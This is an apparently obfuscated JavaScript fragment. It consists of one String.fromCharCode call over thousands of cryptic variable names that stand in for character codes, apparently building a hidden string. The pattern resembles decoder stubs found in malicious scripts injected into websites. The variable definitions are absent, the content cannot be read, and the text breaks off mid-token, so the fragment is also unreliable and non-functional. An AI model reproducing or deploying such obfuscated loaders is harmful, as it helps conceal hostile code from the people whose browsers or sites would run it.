String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,f